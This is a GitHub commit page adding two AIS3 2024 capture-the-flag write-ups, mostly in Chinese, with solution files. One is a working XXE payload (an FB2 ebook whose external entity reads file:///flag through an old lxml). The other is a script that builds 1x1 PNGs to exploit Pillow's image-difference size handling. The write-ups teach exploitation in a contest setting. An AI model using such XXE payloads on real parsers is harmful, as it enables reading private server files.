-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
add: AIS3 2024 Pre-exam / MyFirstCTF 2024 challenges
- ebook-parser - hash-guesser
- Loading branch information
Showing
10 changed files
with
223 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
# Ebook Parser | ||
- Tags: `Web` `Easy` | ||
- Score: 480/500 | ||
- Solves: 35/321 | ||
- Solves (MyFirstCTF): 0/101 | ||
|
||
## Description | ||
I made a simple ebook parser for my ebook collection. Can you read the flag? | ||
*Flag path: `/flag`* | ||
|
||
## Overview | ||
EPUB / FB2 格式中有 XML | ||
Dependency Auditing -> 舊版 lxml -> XXE | ||
|
||
## Solution | ||
`app.py` 的功能非常簡單,僅透過 `ebookmeta.get_metadata` parse 電子書的 metadata 之後,回傳標題、作者跟語言。 | ||
|
||
查看 [dnkorpushov/ebookmeta](https://github.com/dnkorpushov/ebookmeta) 可以發現其支援 EPUB 2/3 與 FB2 (Fiction Book) 兩種電子書格式。 | ||
另外也可以看到其 [Requirements](https://github.com/dnkorpushov/ebookmeta?tab=readme-ov-file#requirements) 有 lxml。 | ||
|
||
接著再檢查 `requirements.txt` 發現 lxml 是有點舊的版本 `4.9.1 (2022-07-01)`,可能可以做 [XXE 攻擊](https://portswigger.net/web-security/xxe)。 | ||
並且再檢查 library code ([ebookmeta/fb2.py#L32](https://github.com/dnkorpushov/ebookmeta/blob/master/ebookmeta/fb2.py#L32)) 可發現其使用的是危險的 `lxml.etree`,且並未 | ||
|
||
### FictionBook | ||
查看 [FictionBook 檔案格式官網](http://fictionbook.org/index.php/FictionBook) 可得知其基本上是個 XML。 | ||
先用任一款電子書編輯器做一個簡單的 `.fb2` 檔案,再將標題/作者/語言任一欄位替換成指到 `/flag` 的 External Entity 即可。 | ||
[參考 exploit](sol/exp.fb2) | ||
|
||
### EPUB | ||
查看 [EPUB 3.3](https://www.w3.org/TR/epub-33/#sec-package-doc) 可得知 EPUB 是一個 ZIP 包含所需檔案,以及其 metadata 是 XML。 | ||
metadata 位於 `META-INF/container.xml` 中所指定的 [OPF](https://idpf.org/epub/20/spec/OPF_2.0_latest.htm) 檔案中。 | ||
先用任一款電子書編輯器做一個簡單的 `.epub` 檔案,再將標題/作者/語言任一欄位替換成指到 `/flag` 的 External Entity 即可。 | ||
[參考 exploit](sol/exp.epub) | ||
|
||
## Flag | ||
<details> | ||
<summary>Spoiler</summary> | ||
|
||
`AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default}` | ||
|
||
</details> | ||
|
||
--- | ||
|
||
賽中打到一半突然冒出了這個 [issue](https://github.com/dnkorpushov/ebookmeta/issues/16) 直接把解都打出來了 | ||
而且 dependency version lock 在相同版本 ~~是不是有人找外援~~ |
Binary file added
BIN
+656 KB
...xam/2024/ebook-parser/dist/dist-ebook-parser-0dc07ec854b945855dfbf7c717d05070446ceff9.zip
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag"> ]> | ||
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink"> | ||
<description> | ||
<title-info> | ||
<genre>antique</genre> | ||
<author><first-name>Flag</first-name><last-name>Holder</last-name></author> | ||
<book-title>Give Me Flag</book-title> | ||
<lang>&ent;</lang> | ||
</title-info> | ||
<document-info> | ||
<author><first-name>Flag</first-name><last-name>Holder</last-name></author> | ||
<program-used>calibre 7.9.0</program-used> | ||
<date>27.4.2024</date> | ||
<id>0eb8ce1f-e81d-4f74-b319-2c9da8c46128</id> | ||
<version>1.0</version> | ||
</document-info> | ||
<publish-info> | ||
<year>0101</year> | ||
</publish-info> | ||
</description> | ||
<body> | ||
<section> | ||
<p><strong>Give Me Flag</strong></p> | ||
</section> | ||
</body> | ||
|
||
</FictionBook> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,55 @@ | ||
# Hash Guesser | ||
- Tags: `Misc` `Easy` | ||
- Score: 492/500 | ||
- Solves: 23/321 | ||
- Solves (MyFirstCTF): 0/101 | ||
|
||
## Description | ||
I have a hash for you, can you guess it? | ||
|
||
## Overview | ||
`ImageChop` 取 min(size) 來做 difference + `util.is_same_image` 沒有檢查 size | ||
Turnstile (Captcha) 是提示不需要 bruteforce | ||
|
||
## Solution | ||
題目每次會隨機生成一個 hash 並轉成 16x16 的圖片,解題者需要上傳一張"相同"圖片來得到 flag。 | ||
前端並不會拿到生成的 hash 相關資訊,因此只能用猜的。 | ||
|
||
而此題的漏洞與 `util.is_same_image` ([chal/util.py#L3-L4](chal/util.py#L3-L4)) 有關。 | ||
裡面呼叫了 `ImageChops.difference(img1, img2).getbbox()` 來比較兩張圖片,若回傳 None 則代表兩張圖片沒有差異。 | ||
|
||
第一眼可能會想,若兩張圖片大小不同,這個 function 會回傳什麼呢? | ||
這題可以透過拿不同尺寸的圖片做實驗,或是如以下翻閱 Pillow 的實作。 | ||
|
||
### Dig into Pillow (libImaging) Source Code | ||
可查看 [ImageChops Module - Pillow Docs](https://pillow.readthedocs.io/en/stable/reference/ImageChops.html#PIL.ImageChops.difference) 得知其對應的底層 C code ([src/libImaging/Chops.c#L90-L93](https://github.com/python-pillow/Pillow/blob/main/src/libImaging/Chops.c#L90-L93))。 | ||
|
||
其中裡面的 `CHOP` macro 是這樣 alloc 輸出的 image: | ||
[src/libImaging/Chops.c#L24](https://github.com/python-pillow/Pillow/blob/main/src/libImaging/Chops.c#L24) | ||
```c | ||
imOut = create(imIn1, imIn2, NULL); | ||
``` | ||
|
||
觀察其中的 `create`: | ||
[src/libImaging/Chops.c#L74-L75](https://github.com/python-pillow/Pillow/blob/main/src/libImaging/Chops.c#L74-L75) | ||
```c | ||
xsize = (im1->xsize < im2->xsize) ? im1->xsize : im2->xsize; | ||
ysize = (im1->ysize < im2->ysize) ? im1->ysize : im2->ysize; | ||
``` | ||
可以發現 `imOut` 的 size 會是 `(min(im1->xsize, im2->xsize), min(im1->ysize, im2->ysize))`,也就是兩張圖片取重疊的部分。 | ||
|
||
### Exploit | ||
若上傳 1x1 的圖片,實際上在做 difference 的只有一個 pixel。 | ||
|
||
從 [chal/app.py#L31](chal/app.py#L31) 可以看到每個 pixel 只有兩種可能的顏色 (`0x00`、`0xFF`)。 | ||
因此猜中的機率是 1/2,隨手造一個 1x1 的白色或黑色圖片,多猜幾次即可得到 flag。 | ||
|
||
可參考 [solve.py](sol/solve.py) 來造 1x1 的 PNG。 (其實不用這麼麻煩,用 Pillow 就好了) | ||
|
||
## Flag | ||
<details> | ||
<summary>Spoiler</summary> | ||
|
||
`AIS3{https://github.com/python-pillow/Pillow/issues/2982}` | ||
|
||
</details> |
Binary file added
BIN
+5.09 KB
...xam/2024/hash-guesser/dist/dist-hash-guesser-d66cae34de5eaee71b03bbb1a01a153be2616424.zip
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,90 @@ | ||
import zlib | ||
import binascii | ||
|
||
from enum import Enum | ||
|
||
PNG_MAGIC = b'\x89PNG\r\n\x1a\n' | ||
PNG_IHDR = b'IHDR' | ||
PNG_IDAT = b'IDAT' | ||
PNG_IEND = b'IEND' | ||
|
||
class PNGIHDREnum(Enum): | ||
def to_bytes(self): | ||
return self.value.to_bytes(1, 'big') | ||
|
||
|
||
class PNGColorType(PNGIHDREnum): | ||
GRAYSCALE = 0 | ||
TRUECOLOR = 2 | ||
INDEXED_COLOR = 3 | ||
GRAYSCALE_ALPHA = 4 | ||
TRUECOLOR_ALPHA = 6 | ||
|
||
|
||
class PNGFilter(PNGIHDREnum): | ||
NONE = 0 | ||
SUB = 1 | ||
UP = 2 | ||
AVERAGE = 3 | ||
PAETH = 4 | ||
|
||
|
||
class PNGInterlace(PNGIHDREnum): | ||
NONE = 0 | ||
ADAM7 = 1 | ||
|
||
|
||
class PNGCompression(PNGIHDREnum): | ||
DEFLATE = 0 | ||
|
||
|
||
def create_chunk(chunk_type, data=b''): | ||
return len(data).to_bytes(4, 'big') + chunk_type + data + binascii.crc32(chunk_type + data).to_bytes(4, 'big') | ||
|
||
|
||
def create_header( | ||
width, height, | ||
bit_depth=8, | ||
color_type=PNGColorType.GRAYSCALE, | ||
compression=PNGCompression.DEFLATE, | ||
filter_method=PNGFilter.NONE, | ||
interlace_method=PNGInterlace.NONE | ||
): | ||
data = width.to_bytes(4, 'big') + height.to_bytes(4, 'big') + \ | ||
bit_depth.to_bytes() + color_type.to_bytes() + \ | ||
compression.to_bytes() + filter_method.to_bytes() + interlace_method.to_bytes() | ||
|
||
return create_chunk(PNG_IHDR, data) | ||
|
||
|
||
def create_idat_filter_none(width, height, data): | ||
scanline_size = width + 1 | ||
scanline = b'\x00' + data[:scanline_size] | ||
filtered_data = bytearray(scanline) | ||
|
||
for i in range(scanline_size, len(data), scanline_size): | ||
scanline = data[i:i + scanline_size] | ||
filtered_data.append(0) | ||
filtered_data.extend(scanline) | ||
|
||
return bytes(filtered_data) | ||
|
||
|
||
def create_png(width, height, data): | ||
idat = create_idat_filter_none(width, height, data) | ||
idat = zlib.compress(idat, level=0) | ||
|
||
return PNG_MAGIC + \ | ||
create_header(width, height) + \ | ||
create_chunk(PNG_IDAT, idat) + \ | ||
create_chunk(PNG_IEND) | ||
|
||
|
||
with open("solve0.png", "wb") as f: | ||
im = create_png(1, 1, b'\x00') | ||
f.write(im) | ||
|
||
|
||
with open("solve255.png", "wb") as f: | ||
im = create_png(1, 1, b'\xff') | ||
f.write(im) |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters